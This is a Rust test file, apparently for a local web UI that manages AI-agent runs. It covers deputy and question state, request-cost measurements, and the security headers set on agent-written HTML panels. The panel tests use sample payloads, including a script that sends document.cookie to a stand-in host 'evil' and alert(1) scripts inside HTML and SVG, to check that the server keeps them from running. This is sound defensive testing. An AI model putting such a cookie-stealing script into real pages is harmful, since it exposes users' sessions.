8280 let stale = beat(ask::WaiterKind::Asker, 3600);
8281 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
8282
8283 let mut c = Question::new(
8286 "task".to_owned(),
8287 crate::conduct::NODE.to_owned(),
8288 "conduct".to_owned(),
8289 "which?".to_owned(),
8290 String::new(),
8291 Vec::new(),
8292 );
8293 assert_eq!(holder_of(&c, None), Some("nobody"));
8294 c.cwd = Some("/tmp".to_owned());
8295 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
8296 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
8297 let deputy = beat(ask::WaiterKind::Deputy, 1);
8298 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
8299 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
8300
8301 let mut r = Question::new(
8303 String::new(),
8304 crate::bump::NOTICE_NODE.to_owned(),
8305 "release-watch".to_owned(),
8306 "stuck?".to_owned(),
8307 String::new(),
8308 vec!["hold".to_owned()],
8309 );
8310 assert_eq!(holder_of(&r, None), Some("nobody"));
8311 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
8312 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
8313 r.deputy = None;
8315 r.seat = "bump".to_owned();
8316 assert_eq!(holder_of(&r, None), None);
8317
8318 let mut m = Question::new(
8321 "run".to_owned(),
8322 crate::land::APPROVAL_NODE.to_owned(),
8323 "land".to_owned(),
8324 "merge?".to_owned(),
8325 String::new(),
8326 Vec::new(),
8327 );
8328 assert_eq!(holder_of(&m, None), Some("nobody"));
8329 assert_eq!(
8330 holder_of(&m, Some(&fresh)),
8331 Some("nobody"),
8332 "a lease with no deputy is not a listener"
8333 );
8334 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
8335 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
8336 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
8337 assert_eq!(holder_of(&m, None), Some("nobody"));
8338 }
8339
8340 fn stub_config() -> Config {
8341 Config {
8344 agents: vec![crate::config::AgentSpec {
8345 id: "stub".to_owned(),
8346 kind: AgentKind::Command,
8347 model: None,
8348 command: vec!["true".to_owned()],
8349 extra_args: Vec::new(),
8350 env: Default::default(),
8351 prompt_delivery: None,
8352 }],
8353 ..Config::default()
8354 }
8355 }
8356
8357 fn plain_question(seat: &str) -> Question {
8358 Question::new(
8359 String::new(),
8360 "n".to_owned(),
8361 seat.to_owned(),
8362 "s".to_owned(),
8363 String::new(),
8364 Vec::new(),
8365 )
8366 }
8367
8368 #[test]
8369 fn deputies_enabled_follows_the_config() {
8370 let on = stub_config();
8371 assert!(crate::deputy::can_start(Some(&on), ""));
8372 assert!(crate::deputy::can_start(Some(&on), "stub"));
8373 let mut off = on.clone();
8374 off.daemon.max_deputies = 0;
8375 assert!(!crate::deputy::can_start(Some(&off), ""));
8376 let mut empty = on;
8377 empty.agents.clear();
8378 assert!(!crate::deputy::can_start(Some(&empty), ""));
8379 assert!(!crate::deputy::can_start(None, ""));
8380 }
8381
8382 #[test]
8383 fn question_views_load_the_config_once() {
8384 let dir = TempDir::new().unwrap();
8385 let store = ask::Questions::at(dir.path().to_path_buf());
8386 let mut with_deputy = plain_question("b");
8387 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
8388 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
8389
8390 let calls = std::cell::Cell::new(0usize);
8391 let views = question_views(qs.clone(), &store, || {
8392 calls.set(calls.get() + 1);
8393 Some(stub_config())
8394 });
8395 assert_eq!(calls.get(), 1);
8396 assert_eq!(views.len(), 3);
8397 for (v, q) in views.iter().zip(&qs) {
8398 assert_eq!(
8399 v.deputies_enabled,
8400 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
8401 );
8402 }
8403
8404 let views = question_views(qs, &store, || None);
8405 assert!(views.iter().all(|v| !v.deputies_enabled));
8406
8407 let calls = std::cell::Cell::new(0usize);
8408 let views = question_views(Vec::new(), &store, || {
8409 calls.set(calls.get() + 1);
8410 None
8411 });
8412 assert!(views.is_empty());
8413 assert_eq!(calls.get(), 0);
8414 }
8415
8416 use pretty_assertions::assert_eq;
8417 use serde_json::Value;
8418 use tempfile::TempDir;
8419 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
8420
8421 use super::*;
8422 use crate::config::Config;
8423 use crate::queue::Source;
8424
8425 const SETTLE_STEPS: usize = 3_000;
8436
8437 struct Fixture {
8443 home: TempDir,
8444 addr: SocketAddr,
8445 }
8446
8447 impl Fixture {
8448 async fn start() -> Self {
8449 Self::with_loop(launch_idle).await
8450 }
8451
8452 async fn with_loop(launch: Launch) -> Self {
8454 let home = TempDir::new().expect("temp home");
8455 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
8456 Self { home, addr }
8457 }
8458
8459 async fn with_repo(repo: PathBuf) -> Self {
8463 let home = TempDir::new().expect("temp home");
8464 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
8465 Self { home, addr }
8466 }
8467
8468 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
8471 let home = TempDir::new().expect("temp home");
8472 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
8473 Self { home, addr }
8474 }
8475
8476 async fn serve(
8477 home: &FsPath,
8478 repo: PathBuf,
8479 launch: Launch,
8480 machine: Option<PathBuf>,
8481 ) -> SocketAddr {
8482 let queue = Queue::at(home.join("queue"));
8483 let runs = home.join("runs");
8484 std::fs::create_dir_all(&runs).expect("runs dir");
8485 let worktrees = home.join("wt").join("magi");
8486 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
8487 let ui = Ui::new(
8488 queue,
8489 Questions::at(home.join("questions")),
8490 Talks::at(home.join("talks")),
8491 runs,
8492 home.to_path_buf(),
8493 repo,
8494 )
8495 .with_worktrees_root(worktrees)
8496 .with_machine_config(machine)
8497 .with_launch(launch);
8498 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
8499 .await
8500 .expect("bind loopback");
8501 let addr = listener.local_addr().expect("local addr");
8502 tokio::spawn(async move {
8503 let router = ui
8504 .router()
8505 .layer(axum::middleware::from_fn(request_cost::observe));
8506 let _ = axum::serve(listener, router).await;
8507 });
8508 addr
8509 }
8510
8511 fn queue(&self) -> Queue {
8512 Queue::at(self.home.path().join("queue"))
8513 }
8514
8515 fn questions(&self) -> Questions {
8516 Questions::at(self.home.path().join("questions"))
8517 }
8518
8519 fn talks(&self) -> Talks {
8520 Talks::at(self.home.path().join("talks"))
8521 }
8522
8523 fn runs(&self) -> PathBuf {
8524 self.home.path().join("runs")
8525 }
8526
8527 async fn get(&self, path: &str) -> Res {
8528 request(self.addr, "GET", path, None).await
8529 }
8530
8531 async fn head(&self, path: &str) -> Res {
8536 request(self.addr, "HEAD", path, None).await
8537 }
8538
8539 async fn post(&self, path: &str, body: Option<&str>) -> Res {
8540 request(self.addr, "POST", path, body).await
8541 }
8542
8543 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
8544 request_with(self.addr, "GET", path, None, extra).await
8545 }
8546
8547 async fn delete(&self, path: &str) -> Res {
8548 request(self.addr, "DELETE", path, None).await
8549 }
8550
8551 async fn put(&self, path: &str, body: &str) -> Res {
8552 request(self.addr, "PUT", path, Some(body)).await
8553 }
8554
8555 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
8557 request_bytes(self.addr, path, headers, body).await
8558 }
8559 }
8560
8561 async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
8564 let tmp = TempDir::new().unwrap();
8565 let mut repos = Vec::new();
8566 for name in ["one", "two"] {
8567 let repo = tmp.path().join(name);
8568 let origin = tmp.path().join(format!("{name}.git"));
8569 std::fs::create_dir_all(&repo).unwrap();
8570 crate::git::git(&repo, &["init", "-b", "main"])
8571 .await
8572 .unwrap();
8573 std::fs::write(
8574 repo.join("magi.toml"),
8575 format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
8576 )
8577 .unwrap();
8578 crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
8579 crate::git::git(
8580 &repo,
8581 &[
8582 "-c",
8583 "user.name=fixture",
8584 "-c",
8585 "user.email=fixture@example.invalid",
8586 "commit",
8587 "-m",
8588 "fixture",
8589 ],
8590 )
8591 .await
8592 .unwrap();
8593 crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
8594 .await
8595 .unwrap();
8596 crate::git::git(
8597 &repo,
8598 &["remote", "add", "origin", origin.to_str().unwrap()],
8599 )
8600 .await
8601 .unwrap();
8602 crate::git::git(&repo, &["push", "origin", "main"])
8603 .await
8604 .unwrap();
8605 crate::git::git(
8606 &repo,
8607 &[
8608 "symbolic-ref",
8609 "refs/remotes/origin/HEAD",
8610 "refs/remotes/origin/main",
8611 ],
8612 )
8613 .await
8614 .unwrap();
8615 let (cfg, _) = Config::discover(&repo, None).unwrap();
8616 assert!(cfg.agents.iter().any(|a| a.id == "mock"));
8617 repos.push(repo);
8618 }
8619 let repos: [PathBuf; 2] = repos.try_into().unwrap();
8620 (tmp, repos)
8621 }
8622
8623 async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
8624 let (tmp, repos) = performance_repositories().await;
8625 let machine = tmp.path().join("machine.toml");
8626 std::fs::write(&machine, "").unwrap();
8627 let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
8628 (tmp, repos, fx)
8629 }
8630
8631 fn seed_performance(
8632 fx: &Fixture,
8633 repos: &[PathBuf; 2],
8634 questions: usize,
8635 runs: usize,
8636 items: usize,
8637 ) {
8638 for i in fx.questions().list().len()..questions {
8640 let mut question = Question::new(
8641 "20261001-000000-0000".into(),
8642 "implement".into(),
8643 "impl-A".into(),
8644 format!("question {i}"),
8645 "context".into(),
8646 vec!["yes".into(), "no".into()],
8647 );
8648 question.id = format!("20261003-000000-{i:04x}");
8649 fx.questions().put(&mut question).unwrap();
8650 }
8651 for i in run_ids(&fx.runs()).len()..runs {
8652 write_run_repo(
8653 &fx.runs(),
8654 &format!("20261001-000000-{i:04x}"),
8655 RunStatus::Ready,
8656 repos[i % 2].to_str().unwrap(),
8657 );
8658 }
8659 for i in fx.talks().list().len()..items {
8660 let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
8661 let mut talk = fx.talks().get(&id).unwrap();
8662 talk.repo = repos[i % 2].clone();
8663 fx.talks().put(&mut talk).unwrap();
8664 let mut task = crate::queue::Task::new(
8665 format!("task {i}"),
8666 "instruction".into(),
8667 repos[i % 2].clone(),
8668 crate::queue::Source::Agent {
8669 run: id,
8670 node: crate::queue::CHAT_NODE.into(),
8671 },
8672 );
8673 task.id = format!("20261004-000000-{i:04x}");
8674 fx.queue().put(&mut task).unwrap();
8675 if i < crate::notices::CAP {
8677 Notices::at(fx.home.path().join("notifications"))
8678 .raise(Notice::info(&format!("notice-{i}"), "notification"))
8679 .unwrap();
8680 }
8681 }
8682 assert_eq!(fx.questions().list().len(), questions);
8683 assert_eq!(run_ids(&fx.runs()).len(), runs);
8684 assert_eq!(fx.talks().list().len(), items);
8685 assert_eq!(fx.queue().list().len(), items);
8686 assert_eq!(
8687 Notices::at(fx.home.path().join("notifications"))
8688 .list()
8689 .len(),
8690 items.min(crate::notices::CAP)
8691 );
8692 }
8693
8694 fn request_counts(res: &Res) -> (usize, usize) {
8695 assert_eq!(res.status, 200, "{}", res.body);
8696 (
8697 res.header("x-test-discoveries").unwrap().parse().unwrap(),
8698 res.header("x-test-git").unwrap().parse().unwrap(),
8699 )
8700 }
8701
8702 #[tokio::test]
8703 async fn list_request_cost_is_independent_of_record_count() {
8704 let (_tmp, repos, fx) = performance_fixture().await;
8705 let mut previous = None;
8706 for n in [4, 60] {
8707 seed_performance(&fx, &repos, n, n, n);
8708 let mut costs = Vec::new();
8709 for (path, discoveries) in [
8710 ("/api/questions", 1),
8711 ("/api/talks", 2),
8712 ("/api/health", 1),
8713 ("/api/stats", 1),
8714 ] {
8715 for repo in &repos {
8718 let cache = repo.join(".git/magi/config");
8719 if cache.exists() {
8720 std::fs::remove_dir_all(cache).unwrap();
8721 }
8722 }
8723 let cost = request_counts(&fx.get(path).await);
8724 eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
8725 assert_eq!(cost.0, discoveries, "{path}, N={n}");
8726 assert!(cost.1 > 0 && cost.1 <= 40, "{path}: {cost:?}");
8727 costs.push(cost);
8728 }
8729 if let Some(previous) = previous {
8730 assert_eq!(costs, previous);
8731 }
8732 previous = Some(costs);
8733 }
8734 }
8738
8739 #[tokio::test]
8742 async fn list_handler_cost_without_transport() {
8743 let (_tmp, repos) = performance_repositories().await;
8744 let fx = Fixture {
8745 home: TempDir::new().unwrap(),
8746 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
8747 };
8748 let ui = Arc::new(
8749 Ui::new(
8750 fx.queue(),
8751 fx.questions(),
8752 fx.talks(),
8753 fx.runs(),
8754 fx.home.path().to_path_buf(),
8755 repos[0].clone(),
8756 )
8757 .with_worktrees_root(fx.home.path().join("wt")),
8758 );
8759 let mut previous = None;
8760 for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
8761 seed_performance(&fx, &repos, n, runs, items);
8762 let mut costs = Vec::new();
8763 for endpoint in ["questions", "talks", "health", "stats"] {
8764 for repo in &repos {
8765 let cache = repo.join(".git/magi/config");
8766 if cache.exists() {
8767 std::fs::remove_dir_all(cache).unwrap();
8768 }
8769 }
8770 let (_, cost) = request_cost::measure(async {
8771 match endpoint {
8772 "questions" => {
8773 let _ = questions_list(State(ui.clone())).await.unwrap();
8774 }
8775 "talks" => {
8776 let _ = talks_list(
8777 State(ui.clone()),
8778 Query(ListQuery {
8779 limit: None,
8780 ids: None,
8781 }),
8782 )
8783 .await
8784 .unwrap();
8785 }
8786 "health" => {
8787 let _ = health(State(ui.clone())).await.unwrap();
8788 }
8789 _ => {
8790 let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
8791 .await
8792 .unwrap();
8793 }
8794 }
8795 })
8796 .await;
8797 eprintln!("{endpoint} handler N={n}: {cost:?}");
8798 assert_eq!(
8799 cost.0,
8800 if endpoint == "talks" { 2 } else { 1 },
8801 "{endpoint}"
8802 );
8803 assert!(cost.1 > 0 && cost.1 <= 40, "{endpoint}: {cost:?}");
8804 costs.push(cost);
8805 }
8806 if let Some(previous) = previous {
8807 assert_eq!(costs, previous);
8808 }
8809 previous = Some(costs);
8810 }
8811 }
8812
8813 #[tokio::test]
8814 async fn list_request_cost_scopes_do_not_mix() {
8815 let (_tmp, repos, fx) = performance_fixture().await;
8816 seed_performance(&fx, &repos, 10, 0, 10);
8817 let (questions, talks, notices) = tokio::join!(
8818 fx.get("/api/questions"),
8819 fx.get("/api/talks"),
8820 fx.get("/api/notifications")
8821 );
8822 assert_eq!(request_counts(&questions).0, 1);
8823 assert_eq!(request_counts(&talks).0, 2);
8824 assert_eq!(request_counts(¬ices), (0, 0));
8825 }
8826
8827 #[tokio::test]
8828 async fn list_endpoints_large_home_ceiling() {
8829 let (_tmp, repos, fx) = performance_fixture().await;
8830 seed_performance(&fx, &repos, 200, 300, 400);
8831 let mut failures = Vec::new();
8832 for path in [
8835 "/",
8836 "/app.js",
8837 "/app.css",
8838 "/api/questions",
8839 "/api/runs?limit=300",
8840 "/api/queue",
8841 "/api/talks",
8842 "/api/notifications",
8843 "/api/health",
8844 "/api/stats",
8845 "/api/loop",
8846 "/api/settings",
8847 "/api/repos",
8848 ] {
8849 let start = std::time::Instant::now();
8850 let result = tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await;
8851 let elapsed = start.elapsed();
8852 eprintln!("{path}: {elapsed:?}");
8853 match result {
8854 Ok(res) if res.status == 200 && elapsed <= Duration::from_secs(5) => {}
8855 Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
8856 Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
8857 }
8858 }
8859 assert!(failures.is_empty(), "{}", failures.join("\n"));
8860 }
8861
8862 struct Res {
8863 status: u16,
8864 headers: String,
8865 head: String,
8870 body: String,
8871 bytes: Vec<u8>,
8875 }
8876
8877 impl Res {
8878 fn json(&self) -> Value {
8879 serde_json::from_str(&self.body)
8880 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
8881 }
8882
8883 fn header(&self, name: &str) -> Option<&str> {
8885 self.head.lines().find_map(|line| {
8886 let (key, value) = line.split_once(':')?;
8887 key.trim()
8888 .eq_ignore_ascii_case(name)
8889 .then(|| value.trim_start().trim_end_matches('\r'))
8890 })
8891 }
8892 }
8893
8894 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
8897 request_with(addr, method, path, body, &[]).await
8898 }
8899
8900 async fn request_with(
8904 addr: SocketAddr,
8905 method: &str,
8906 path: &str,
8907 body: Option<&str>,
8908 extra: &[(&str, &str)],
8909 ) -> Res {
8910 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
8911 for (name, value) in extra {
8912 head.push_str(&format!("{name}: {value}\r\n"));
8913 }
8914 if let Some(body) = body {
8915 head.push_str("Content-Type: application/json\r\n");
8916 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
8917 }
8918 head.push_str("\r\n");
8919 if let Some(body) = body {
8920 head.push_str(body);
8921 }
8922 let mut socket = tokio::net::TcpStream::connect(addr)
8923 .await
8924 .expect("connect to the test server");
8925 socket
8926 .write_all(head.as_bytes())
8927 .await
8928 .expect("write request");
8929 let mut raw = Vec::new();
8930 socket.read_to_end(&mut raw).await.expect("read response");
8931 let split = raw
8934 .windows(4)
8935 .position(|w| w == b"\r\n\r\n")
8936 .expect("a header block");
8937 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
8938 let bytes = raw[split + 4..].to_vec();
8939 let status = head
8940 .lines()
8941 .next()
8942 .and_then(|line| line.split_whitespace().nth(1))
8943 .and_then(|code| code.parse().ok())
8944 .expect("a status line");
8945 Res {
8946 status,
8947 headers: head.to_lowercase(),
8948 head,
8949 body: String::from_utf8_lossy(&bytes).into_owned(),
8950 bytes,
8951 }
8952 }
8953
8954 async fn request_bytes(
8960 addr: SocketAddr,
8961 path: &str,
8962 headers: &[(&str, &str)],
8963 body: &[u8],
8964 ) -> Res {
8965 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
8966 for (name, value) in headers {
8967 head.push_str(&format!("{name}: {value}\r\n"));
8968 }
8969 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
8970 let mut socket = tokio::net::TcpStream::connect(addr)
8971 .await
8972 .expect("connect to the test server");
8973 socket
8974 .write_all(head.as_bytes())
8975 .await
8976 .expect("write request head");
8977 socket.write_all(body).await.expect("write request body");
8978 let mut raw = Vec::new();
8979 socket.read_to_end(&mut raw).await.expect("read response");
8980 let split = raw
8981 .windows(4)
8982 .position(|w| w == b"\r\n\r\n")
8983 .expect("a header block");
8984 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
8985 let bytes = raw[split + 4..].to_vec();
8986 let status = head
8987 .lines()
8988 .next()
8989 .and_then(|line| line.split_whitespace().nth(1))
8990 .and_then(|code| code.parse().ok())
8991 .expect("a status line");
8992 Res {
8993 status,
8994 headers: head.to_lowercase(),
8995 head,
8996 body: String::from_utf8_lossy(&bytes).into_owned(),
8997 bytes,
8998 }
8999 }
9000
9001 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
9003 let mut state = RunState::new(
9004 PathBuf::from("/repo/magi"),
9005 "main".to_owned(),
9006 "0123456789abcdef".to_owned(),
9007 "Add a web UI\n\nMobile first.".to_owned(),
9008 Config::default(),
9009 );
9010 state.id = id.to_owned();
9011 state.status = status;
9012 let dir = runs.join(id);
9013 std::fs::create_dir_all(&dir).expect("run dir");
9014 std::fs::write(
9015 dir.join("run.json"),
9016 serde_json::to_string_pretty(&state).expect("serialize run"),
9017 )
9018 .expect("write run.json");
9019 }
9020
9021 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
9025 let mut state = RunState::new(
9026 PathBuf::from(repo),
9027 "main".to_owned(),
9028 "0123456789abcdef".to_owned(),
9029 "task".to_owned(),
9030 Config::default(),
9031 );
9032 state.id = id.to_owned();
9033 state.status = status;
9034 let dir = runs.join(id);
9035 std::fs::create_dir_all(&dir).expect("run dir");
9036 std::fs::write(
9037 dir.join("run.json"),
9038 serde_json::to_string_pretty(&state).expect("serialize run"),
9039 )
9040 .expect("write run.json");
9041 }
9042
9043 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
9044 let body = serde_json::json!({
9045 "schema": 1,
9046 "pid": 4242,
9047 "started_at": Timestamp::now().to_string(),
9048 "updated_at": updated_at.to_string(),
9049 "idle": false,
9050 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
9051 "completed": 7,
9052 "polls": 143,
9053 });
9054 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
9055 }
9056
9057 fn launch_idle(
9067 _opts: daemon::Opts,
9068 stop: daemon::Stop,
9069 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
9070 Box::pin(async move {
9071 while !stop.stopped() {
9072 tokio::time::sleep(Duration::from_millis(2)).await;
9073 }
9074 Ok(())
9075 })
9076 }
9077
9078 fn launch_broken(
9081 _opts: daemon::Opts,
9082 _stop: daemon::Stop,
9083 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
9084 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
9089 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
9090 Box::pin(async move {
9091 Err(anyhow::anyhow!(if first {
9092 "publish the daemon status file: read-only file system"
9093 } else {
9094 "the restarted stand-in failed as well"
9095 }))
9096 })
9097 }
9098
9099 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
9106 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
9107
9108 fn launch_knocking_on_the_way_out(
9115 _opts: daemon::Opts,
9116 stop: daemon::Stop,
9117 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
9118 Box::pin(async move {
9119 while !stop.stopped() {
9120 tokio::time::sleep(Duration::from_millis(2)).await;
9121 }
9122 let addr = PARK_KNOCK
9123 .lock()
9124 .expect("park knock")
9125 .expect("the test set an address");
9126 let heard = request(addr, "GET", "/api/health", None).await.status;
9127 *PARK_HEARD.lock().expect("park heard") = Some(heard);
9128 Ok(())
9129 })
9130 }
9131
9132 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
9141 for _ in 0..SETTLE_STEPS {
9142 let view = fx.get("/api/loop").await.json();
9143 if want(&view) {
9144 return view;
9145 }
9146 tokio::time::sleep(Duration::from_millis(10)).await;
9147 }
9148 panic!(
9149 "the loop never settled: {}",
9150 fx.get("/api/loop").await.json()
9151 );
9152 }
9153
9154 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
9156 let store = fx.questions();
9157 let mut q = Question::new(
9158 "20260902-000000-beef".to_owned(),
9159 "implement".to_owned(),
9160 "impl-A".to_owned(),
9161 summary.to_owned(),
9162 "because it matters".to_owned(),
9163 choices.iter().map(|c| (*c).to_owned()).collect(),
9164 );
9165 store.put(&mut q).expect("put question");
9166 q.id
9167 }
9168
9169 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
9175 let store = fx.questions();
9176 let mut q = Question::new(
9177 "20260902-000000-beef".to_owned(),
9178 "land".to_owned(),
9179 "fix".to_owned(),
9180 "Merge this?".to_owned(),
9181 "the diff is in the panel".to_owned(),
9182 vec!["merge".to_owned(), "hold".to_owned()],
9183 );
9184 let staging = fx.home.path().join("staging");
9187 std::fs::create_dir_all(&staging).expect("staging dir");
9188 let sources: Vec<PathBuf> = assets
9189 .iter()
9190 .map(|(name, bytes)| {
9191 let path = staging.join(name);
9192 std::fs::write(&path, bytes).expect("write staged asset");
9193 path
9194 })
9195 .collect();
9196 store
9197 .put_panel(&mut q, html, &sources)
9198 .expect("write the panel");
9199 store.put(&mut q).expect("put question");
9200 q.id
9201 }
9202
9203 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
9212 seed_talk_at(&fx.talks(), id, status)
9213 }
9214
9215 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
9216 std::fs::create_dir_all(store.root()).expect("talks dir");
9217 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
9218 .expect("serialize a seat");
9219 let body = serde_json::json!({
9220 "schema": 1,
9221 "id": id,
9222 "repo": "/repo/magi",
9223 "agent": "mock",
9224 "status": status,
9225 "turns": [],
9226 "created_at": Timestamp::now().to_string(),
9227 "updated_at": Timestamp::now().to_string(),
9228 "seat": seat,
9229 });
9230 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
9231 store.get(id).expect("the seeded talk has to be readable");
9232 id.to_owned()
9233 }
9234
9235 #[tokio::test]
9236 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
9237 let fx = Fixture::start().await;
9238 let id = panel(
9239 &fx,
9240 "<h1>Merge?</h1><img src=\"diff.svg\">",
9241 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
9242 );
9243
9244 for path in [
9245 format!("/api/questions/{id}/panel"),
9246 format!("/api/questions/{id}/asset/diff.svg"),
9247 ] {
9248 let res = fx.get(&path).await;
9249 assert_eq!(res.status, 200, "{path}: {}", res.body);
9250 assert_eq!(
9256 res.header("content-security-policy"),
9257 Some(
9258 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
9259 font-src data:; base-uri 'none'; form-action 'none'; \
9260 frame-ancestors 'self'"
9261 ),
9262 "{path} is the only thing between a hostile panel and the tailnet"
9263 );
9264 assert_eq!(
9265 res.header("x-content-type-options"),
9266 Some("nosniff"),
9267 "{path}: a browser must not re-decide the type we sent"
9268 );
9269 assert_eq!(
9270 res.header("referrer-policy"),
9271 Some("no-referrer"),
9272 "{path}: a panel must not leak the question id off the machine"
9273 );
9274
9275 let pre = fx.head(&path).await;
9280 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
9281 assert_eq!(
9282 pre.header("content-security-policy"),
9283 res.header("content-security-policy"),
9284 "{path}: the preflight carries the same policy"
9285 );
9286 assert_eq!(
9287 pre.header("content-type"),
9288 res.header("content-type"),
9289 "{path}: the preflight carries the same type"
9290 );
9291 }
9292 }
9293
9294 #[tokio::test]
9295 async fn a_panel_reaches_the_browser_byte_for_byte() {
9296 let fx = Fixture::start().await;
9297 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
9302 let id = panel(&fx, html, &[]);
9303
9304 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
9305
9306 assert_eq!(res.status, 200);
9307 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
9308 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
9309 assert_eq!(
9310 res.header("content-disposition"),
9311 None,
9312 "the panel itself is rendered in the frame, not downloaded"
9313 );
9314 }
9315
9316 #[tokio::test]
9317 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
9318 let fx = Fixture::start().await;
9319 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
9320 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
9321 let id = panel(
9322 &fx,
9323 "<img src=\"diff.svg\"><img src=\"shot.png\">",
9324 &[("diff.svg", svg), ("shot.png", png)],
9325 );
9326
9327 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
9328 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
9329
9330 assert_eq!(as_svg.status, 200);
9331 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
9332 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
9337
9338 assert_eq!(as_png.status, 200);
9339 assert_eq!(as_png.header("content-type"), Some("image/png"));
9340 assert_eq!(
9341 as_png.header("content-disposition"),
9342 None,
9343 "a raster image has no execution surface, so tapping it still shows it"
9344 );
9345 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
9346 }
9347
9348 #[tokio::test]
9349 async fn an_html_asset_is_never_served_as_html() {
9350 let fx = Fixture::start().await;
9351 let id = panel(
9352 &fx,
9353 "<p>see the notes</p>",
9354 &[
9355 (
9356 "notes.html",
9357 b"<script>fetch('http://evil/'+document.cookie)</script>",
9358 ),
9359 ("hook.js", b"fetch('http://evil/')"),
9360 ("data.json", b"{}"),
9361 ("HEADLINE.TXT", b"plain"),
9362 ],
9363 );
9364
9365 for name in ["notes.html", "hook.js", "data.json"] {
9366 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
9367 assert_eq!(res.status, 200, "{name}: {}", res.body);
9368 assert_eq!(
9373 res.header("content-type"),
9374 Some("application/octet-stream"),
9375 "{name} must not be a type the browser will execute or render"
9376 );
9377 }
9378 let txt = fx
9381 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
9382 .await;
9383 assert_eq!(
9384 txt.header("content-type"),
9385 Some("text/plain; charset=utf-8")
9386 );
9387 }
9388
9389 #[tokio::test]
9390 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
9391 let fx = Fixture::start().await;
